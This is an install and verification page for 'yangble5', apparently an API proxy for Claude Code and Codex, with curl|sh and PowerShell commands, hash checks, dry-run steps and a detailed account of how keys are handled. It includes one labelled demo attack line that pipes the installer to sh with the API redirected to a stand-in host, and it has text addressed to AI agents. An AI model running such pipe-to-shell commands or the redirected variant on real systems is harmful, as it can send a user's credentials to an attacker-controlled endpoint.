讓每個人都用得起 1M 上下文。

那一行只做一件事：叫 agent 去 https://yangble5.com/AGENTS.md 讀指示。 那份文件跟 install.sh、跟它的 .sha256 在同一個網域， 所以從頭到尾你只需要信任一個地方，而且是你在網址列看得見的那一個。 給機器讀的簡版在 https://yangble5.com/llms.txt。

貼上之後，你應該親眼看到這五件事

少了任何一件、或者順序被跳過，就叫它停下來 —— 這是你手上唯一的、也是足夠的檢查方法。

1. 它去讀 yangble5.com/AGENTS.md。不是別的網域，也不是它「記得」的內容。
2. 它下載安裝腳本和對應的 .sha256，然後真的比對。 shasum -a 256 -c（Windows 是把 Get-FileHash 的結果跟公告值比、不符就 throw）。 「算出雜湊給你看」不算 —— 那不是核對。
3. 它先空跑一次。--dry-run（Windows 是 -DryRun）把腳本打算做的每一件事印出來， 一個檔案都不寫、一個請求都不發。
4. 它把那份計畫拿給你看，然後問你。要不要真的安裝？要不要留 e-mail（可以不留）？ 需不需要邀請碼（是否開放註冊，看上面的即時狀態）？
5. 你答應之後，它才真的執行安裝。沒有你的同意，這一步不該發生。

第五步腳本自己也擋著：沒有終端機可以問人的時候（curl … | sh 就是這種情況）， 它非得看到 --yes-register 才會去 POST /auth/register 建立帳號。 沒拿到同意就被呼叫的話，它會直接結束、一個檔案都不寫，並且印出 “IF YOU ARE AN AI AGENT: --yes-register is not yours to add.” —— 那個旗標存在的意義，就是要有人先跟你談過。

# 示範攻擊長什麼樣子。不要執行這一行。腳本是真的，被改掉的是後面那截。
curl -fsSL https://yangble5.com/install.sh | sh -s -- --api https://not-us.example

為什麼 machine id 只印前面 12 個字元

安裝腳本印出來的是 machine id 1a2b3c4d5e6f… (truncated)，後面是省略號。 那不是為了排版好看：完整的那串值本身就是一個憑證 —— POST /auth/register 只憑它就會把同一把帳號金鑰交出來，不需要其他任何驗證。 而在這個情境下，stdout 就是你的 agent 的對話紀錄：印在那裡，等於已經外洩。 同理，~/.yangble5/machine-id 存的是那把 32 位元組的本機亂數鹽。 完整值是 sha256(主機名稱 + 作業系統 + 架構 + 這把鹽) —— 鹽是唯一難猜的那一項，前三項對認識你的人來說並不難，所以鹽外流就等於完整值外流，一樣不能貼出來。

這也是為什麼 --show-key（Windows -ShowKey）預設是關的。 金鑰永遠會寫進 ~/.yangble5/credentials（權限 0600），腳本印出來的只有那個路徑。 要看金鑰，自己去讀那個檔案 —— 不要叫 agent 印。

想完全跳過這條路徑也完全可以：腳本做了什麼逐條列在下面， 校驗方式在 verify.html，原始碼在 GitHub。 最保險的做法一直都是 git clone、自己讀、自己跑。

• 實線：請求實際被送到哪一個上游
• 虛線：這個請求能讀到的、上一次寫進同一個快取的內容

python tools/cache_bench.py --model yangble5 --prefix-tokens 600000 --rounds 4

python tools/cache_bench.py --replay evidence/run-749k-20260721.jsonl

「整趟往返」是完整的非串流來回時間，不是 time-to-first-token —— TTFT 在這個 repo 裡從頭到尾沒有被量過。第 3、4 輪在讀了 99.53% 的快取之後比冷輪還慢。這一欄是軼事，不是結論。

其他宣稱，以及它們各自的證據等級

1. 建立一組隔離目錄，完全不碰你現有的設定。 它建立的是 ~/.yangble5/ 和底下的 claude/、codex/、 bin/（權限都是 700），另外在 ~/.local/bin 放四個指向 ~/.yangble5/bin 的 symlink（--no-bin-link 可以關掉；那裡如果已經有同名的 非 symlink 檔案，它會保留原檔並警告，不會覆蓋）。這兩個是它留下來的位置。
   還有第三個位置，而且那裡的東西是暫時的：一個 mktemp -d 建立的暫存目錄。 它在 $TMPDIR（多數 Linux 上就是 /tmp）底下建一個 tmp. 開頭的目錄， 建好立刻 chmod 700，然後在裡面放十個檔案：每一個要寫出去的設定檔都先在這裡組好再 cp 過去，每一次 HTTP 請求與回應也都經過這裡。 其中四個含有你的 API key 明文——curl 的設定檔（x-api-key 與 authorization 那兩行）、/auth/register 的回應本體（金鑰就是從那裡來的）、 credentials 的暫存版，以及寫檔用的中繼副本。十個裡面只有兩個另外 chmod 600， 其餘沿用你的 umask；真正擋住同機其他使用者的是那個 700 的目錄本身，不是檔案權限。
   腳本用 trap … EXIT HUP INT TERM 在離開時 rm -rf 掉整個目錄， 所以正常跑完（或你按 Ctrl-C）之後那裡是空的。但 trap 攔不到 SIGKILL，也攔不到斷電或當機—— 那種情況下暫存目錄會留在磁碟上；如果剛好中斷在一次 HTTP 呼叫進行中， 留下來的 curl 設定檔裡就有你的金鑰。真的發生了，刪掉 $TMPDIR 底下那個 tmp. 目錄，然後重跑一次安裝。verify.html：那十個暫存檔逐項列表（哪一個含金鑰、什麼時候刪）。
   它不會尋找、讀取或修改你的 shell profile（.bashrc／.zshrc／ .profile）—— 腳本裡根本沒有一行去找那些檔案，也不會改你的 PATH。 ~/.local/bin 不在 PATH 上時，它只會把該加的那一行印出來讓你自己決定 （install.sh 的 link_launchers()）。Windows 版預設一樣不動 PATH， 只有你明確傳 -AddToPath 才會追加到使用者 PATH，系統 PATH 永遠不碰。
2. 取得一把 API key，而且預設不把它印出來。 金鑰寫進 ~/.yangble5/credentials（權限 0600），螢幕上印的是那個檔案的路徑，不是金鑰本身。 理由就是這一段開頭那句話：這行指令是要貼給 AI agent 執行的，stdout 就是它的對話紀錄， 印出去的密鑰等於已經外洩。真的想看，加 --show-key（Windows 是 -ShowKey）， 它會連同「你剛剛把密鑰放進了誰的 transcript」一起警告你；或者自己讀 grep '^YANGBLE5_API_KEY=' ~/.yangble5/credentials。
   金鑰也不會出現在命令列參數裡 —— argv 同一台機器上的其他使用者用 ps 就看得到。curl 是從一個 0600 的暫存設定檔把它讀進去的 —— 就是上一條說的那個暫存目錄裡的檔案。它換掉的是「argv 全機可見」這個問題， 代價是金鑰在安裝期間確實會短暫落在磁碟上；每次呼叫結束就刪，上一條也寫了什麼情況下刪不掉。
3. 寫一支啟動器，由它設定環境變數。變數只存在於啟動器啟動的那個行程裡，不會寫進你的 shell。 macOS／Linux 上的 ~/.yangble5/env.sh 一共 export 十一個變數，外加一個 unset，沒有別的：三個 YANGBLE5_* （端點、金鑰、模型別名）、四個給 Claude Code（CLAUDE_CONFIG_DIR 與三個 ANTHROPIC_*）、三個數值上限、一個 CODEX_HOME；unset 掉的是 ANTHROPIC_API_KEY，因為它的優先序高於 ANTHROPIC_AUTH_TOKEN， 留著會把你真正的 Anthropic 金鑰送到這個代理。Windows 是同一組名稱，拆在兩支 .cmd 啟動器裡，用 setlocal 隔離。
   完整逐字清單在 verify.html：啟動器到底設了哪些環境變數 —— 十一行原文、每一行的來源行號都在那裡。這裡不放縮短版，因為少列幾個的清單比不列還糟。
4. 寫的是它自己的 Codex 設定，不是你的那一份。 它建立 ~/.yangble5/codex/config.toml（設定 model_provider、 base_url、context 與 output 上限，金鑰用 env_key 間接引用）， 再用 CODEX_HOME 指過去。它不會開啟、不會讀取、也不會修改 ~/.codex/config.toml。同樣地，Claude Code 走的是獨立的 CLAUDE_CONFIG_DIR=~/.yangble5/claude，所以你直接打 claude 還是你原本的登入、原本的訂閱、原本的設定，一個位元組都沒動到。
   這是特色，不是妥協。一個安裝腳本沒有資格改寫你每天在用的工具設定； 而且這樣一來，移除它的方式就只是刪掉一個資料夾。
5. 覆蓋既有檔案前先備份，結束時逐行印出還原指令。 要寫的檔案已經存在、而且內容不同時，先 cp -p 成 <檔名>.bak-<時間戳>；內容相同就印 unchanged 跳過， 不製造一堆沒意義的備份。跑完它會把每一份備份的完整路徑，連同可以直接貼回終端機的還原指令 （cp -p "…bak-…" "…"，Windows 是 Copy-Item）一起印出來。 一份都沒有的時候，它印的是「沒有覆蓋任何既有檔案，所以沒有備份」，而不是沉默。
   一個刻意的例外：~/.yangble5/INSTALL_INFO 每次執行都會重寫、 而且完全由安裝腳本自己擁有，所以不備份 —— 腳本會在同一段輸出裡把這個例外講明。 除此之外沒有別的例外（~/.yangble5/machine-id 只在不存在時建立一次， 之後永遠不會被覆蓋，所以它從來就不是備份的候選）。
6. 做一次真的呼叫，然後照實報告。 GET /health（免認證）→ GET /v1/models（認證，不花錢）→ POST /v1/messages（一次 16 token 的真實補完）。成功就印狀態碼與耗時， 並且明講這一次是冷啟動請求、快取命中率 0%；失敗就印狀態碼與排查步驟， 而且不會把它叫成成功（離開碼 8）。伺服器回傳的任何文字都會先被剝掉 ANSI 與控制字元、壓成一行、截斷，加上 server says> 前綴才顯示 —— 因為這段輸出多半正落在一個有 shell 權限的 agent 的上下文裡。

不想相信我們？那就別相信 —— 自己核對

這是推薦做法。先把腳本抓下來、對完雜湊、自己讀一遍，再決定要不要執行。

# macOS / Linux —— 這是「核對」，不是「算一下」：不符就直接失敗，&& 之後的都不會跑。
curl -fsSL https://yangble5.com/install.sh -o install.sh
curl -fsSL https://yangble5.com/install.sh.sha256 -o install.sh.sha256
shasum -a 256 -c install.sh.sha256 && sh install.sh --dry-run

# Windows PowerShell —— 同一件事，雜湊不符就 throw。
irm https://yangble5.com/install.ps1 -OutFile install.ps1
irm https://yangble5.com/install.ps1.sha256 -OutFile install.ps1.sha256
$expected = ((Get-Content .\install.ps1.sha256 -Raw) -split '\s+')[0]
if ((Get-FileHash .\install.ps1 -Algorithm SHA256).Hash -ine $expected) { throw 'MISMATCH' }
powershell -NoProfile -File .\install.ps1 -DryRun

最後一行是 空跑：它把腳本打算做的每一件事印出來，一個檔案都不寫。看過那份計畫、也自己把 install.sh 從頭讀過一遍之後，再單獨執行 sh install.sh （Windows 是 powershell -NoProfile -File .\install.ps1）才會真的安裝。
讀檔請用編輯器或 cat，不要用 less／more： agent 的 shell 沒有 tty，分頁器要嘛把整份腳本倒進對話紀錄，要嘛卡在那裡等一個永遠不會來的按鍵。

目前公告的 SHA256：讀取中…

怎麼把 e-mail／邀請碼傳給安裝腳本

curl … | sh 不會給腳本任何參數，irm … | iex 也不會給 scriptblock 任何參數。 兩支腳本都收得下這些值，但你得換一種寫法。安裝腳本本身不會問你任何問題 —— 它是全自動的，所以該問的（要不要裝、e-mail 給不給）要由人或 agent 事先問清楚，然後這樣傳進去：

# macOS / Linux —— 管線要用 sh -s -- 才傳得到參數
curl -fsSL https://yangble5.com/install.sh | sh -s -- --email you@example.com
curl -fsSL https://yangble5.com/install.sh | sh -s -- --invite YOUR-INVITE-CODE
sh install.sh --dry-run --email you@example.com        # 已經下載下來的話

# Windows PowerShell —— irm | iex 一樣傳不到，要包成 scriptblock
& ([scriptblock]::Create((irm https://yangble5.com/install.ps1))) -Email you@example.com
& ([scriptblock]::Create((irm https://yangble5.com/install.ps1))) -Invite YOUR-INVITE-CODE
powershell -NoProfile -File .\install.ps1 -DryRun -Email you@example.com

# 或者走環境變數，兩支腳本都認這兩個名字
YANGBLE5_EMAIL=you@example.com YANGBLE5_INVITE=YOUR-INVITE-CODE sh install.sh
$env:YANGBLE5_EMAIL = 'you@example.com'; $env:YANGBLE5_INVITE = 'YOUR-INVITE-CODE'

其他你大概會想先知道的旗標：--dry-run／-DryRun（只印計畫，不寫檔）、 --no-live-test／-NoLiveTest（不做那一次真實補完）、 --show-key／-ShowKey（把金鑰印出來 —— 在 agent 的對話紀錄裡就是外洩，預設關閉）、 --help／-Help。完整清單在腳本開頭的註解裡，下載後不執行也讀得到。

對照用的完整說明在 verify.html；腳本原始碼與這個網站的原始碼都在 github.com/shark0120/yangble5。雜湊對不上，就不要執行，並請開 issue 告訴我們。